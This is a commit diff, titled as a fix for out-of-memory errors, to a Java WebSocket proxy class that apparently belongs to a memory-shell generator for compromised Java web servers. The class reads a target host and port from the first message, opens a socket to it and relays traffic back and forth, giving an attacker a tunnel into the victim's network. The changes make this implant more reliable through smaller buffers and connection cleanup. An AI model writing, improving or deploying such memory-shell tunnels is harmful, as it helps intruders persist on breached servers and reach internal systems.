fix: proxy OOM

Author: ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsproxy/ProxyWebSocket.java

@@ -4,12 +4,11 @@
 import javax.websocket.EndpointConfig;
 import javax.websocket.MessageHandler;
 import javax.websocket.Session;
-import java.io.ByteArrayOutputStream;
+import javax.websocket.CloseReason;
 import java.net.InetSocketAddress;
 import java.nio.ByteBuffer;
 import java.nio.channels.AsynchronousSocketChannel;
 import java.nio.channels.CompletionHandler;
-import java.util.HashMap;
 import java.util.concurrent.Future;
 import java.util.concurrent.TimeUnit;
 
@@ -21,89 +20,114 @@ public class ProxyWebSocket extends Endpoint implements MessageHandler.Whole<Byt
     private Session session;
     private long messageCount = 0;
     private AsynchronousSocketChannel currentClient = null;
-    private final ByteBuffer buffer = ByteBuffer.allocate(102400);
-    private ByteArrayOutputStream baos = new ByteArrayOutputStream();
-    private final HashMap<String, AsynchronousSocketChannel> channelMap = new HashMap<>();
+    private final ByteBuffer buffer = ByteBuffer.allocate(32768);
 
     public ProxyWebSocket() {
     }
 
-    public void completed(Integer result, Session attachment) {
-        buffer.clear();
-        try {
-            if (buffer.hasRemaining() && result >= 0) {
-                byte[] arr = new byte[result];
-                buffer.get(arr, 0, result);
-                baos.write(arr, 0, result);
-                ByteBuffer response = ByteBuffer.wrap(baos.toByteArray());
-                if (attachment.isOpen()) {
-                    attachment.getBasicRemote().sendBinary(response);
-                }
-                baos = new ByteArrayOutputStream();
-                readFromServer(attachment, currentClient);
-            } else {
-                if (result > 0) {
-                    byte[] arr = new byte[result];
-                    buffer.get(arr, 0, result);
-                    baos.write(arr, 0, result);
-                    readFromServer(attachment, currentClient);
-                }
-            }
-        } catch (Exception ignored) {
-        }
+    @Override
+    public void onOpen(Session session, EndpointConfig endpointConfig) {
+        this.messageCount = 0;
+        this.session = session;
+        session.addMessageHandler(this);
     }
 
-    @Override
-    public void failed(Throwable exc, Session attachment) {
-        exc.printStackTrace();
+    private void readFromServer() {
+        if (currentClient != null && currentClient.isOpen() && session.isOpen()) {
+            buffer.clear();
+            currentClient.read(buffer, session, this);
+        }
     }
 
+    @Override
     public void onMessage(ByteBuffer message) {
         try {
-            message.clear();
             messageCount++;
             process(message, session);
-        } catch (Exception ignored) {
+        } catch (Exception e) {
+            closeQuietly();
         }
     }
 
-    public void onOpen(Session session, EndpointConfig endpointConfig) {
-        this.messageCount = 0;
-        this.session = session;
-        session.setMaxBinaryMessageBufferSize(1024 * 1024 * 1024);
-        session.setMaxTextMessageBufferSize(1024 * 1024 * 1024);
-        session.addMessageHandler(this);
-    }
-
-    private void readFromServer(Session channel, AsynchronousSocketChannel client) {
-        this.currentClient = client;
-        buffer.clear();
-        client.read(buffer, channel, this);
-    }
-
     private void process(ByteBuffer messageBuffer, Session channel) {
         try {
-            if (messageCount > 1) {
-                AsynchronousSocketChannel client = channelMap.get(channel.getId());
-                client.write(messageBuffer).get();
-                readFromServer(channel, client);
+            if (messageCount > 1 && currentClient != null && currentClient.isOpen()) {
+                currentClient.write(messageBuffer).get();
             } else if (messageCount == 1) {
-                String values = new String(messageBuffer.array());
+                byte[] bytes = new byte[messageBuffer.remaining()];
+                messageBuffer.get(bytes);
+                String values = new String(bytes);
+
                 String[] array = values.split(" ");
+                if (array.length < 2) return;
                 String[] addrArray = array[1].split(":");
-                AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
+
+                currentClient = AsynchronousSocketChannel.open();
                 int port = Integer.parseInt(addrArray[1]);
                 InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
-                Future<Void> future = client.connect(hostAddress);
+
+                Future<Void> future = currentClient.connect(hostAddress);
                 try {
                     future.get(10, TimeUnit.SECONDS);
-                } catch (Exception ignored) {
+                } catch (Exception e) {
                     channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
+                    closeQuietly();
                     return;
                 }
-                channelMap.put(channel.getId(), client);
-                readFromServer(channel, client);
                 channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
+                readFromServer();
+            }
+        } catch (Exception e) {
+            closeQuietly();
+        }
+    }
+
+
+    @Override
+    public void completed(Integer result, Session attachment) {
+        if (result == -1) {
+            closeQuietly();
+            return;
+        }
+
+        try {
+            if (result > 0) {
+                buffer.flip();
+                if (attachment.isOpen()) {
+                    attachment.getBasicRemote().sendBinary(buffer);
+                }
+            }
+            readFromServer();
+        } catch (Exception e) {
+            closeQuietly();
+        }
+    }
+
+    @Override
+    public void failed(Throwable exc, Session attachment) {
+        closeQuietly();
+    }
+
+    @Override
+    public void onClose(Session session, CloseReason closeReason) {
+        closeQuietly();
+    }
+
+    @Override
+    public void onError(Session session, Throwable thr) {
+        closeQuietly();
+    }
+
+    private void closeQuietly() {
+        try {
+            if (currentClient != null && currentClient.isOpen()) {
+                currentClient.close();
+            }
+        } catch (Exception ignored) {
+        }
+        try {
+            if (session != null && session.isOpen()) {
+                session.close();
             }
         } catch (Exception ignored) {
         }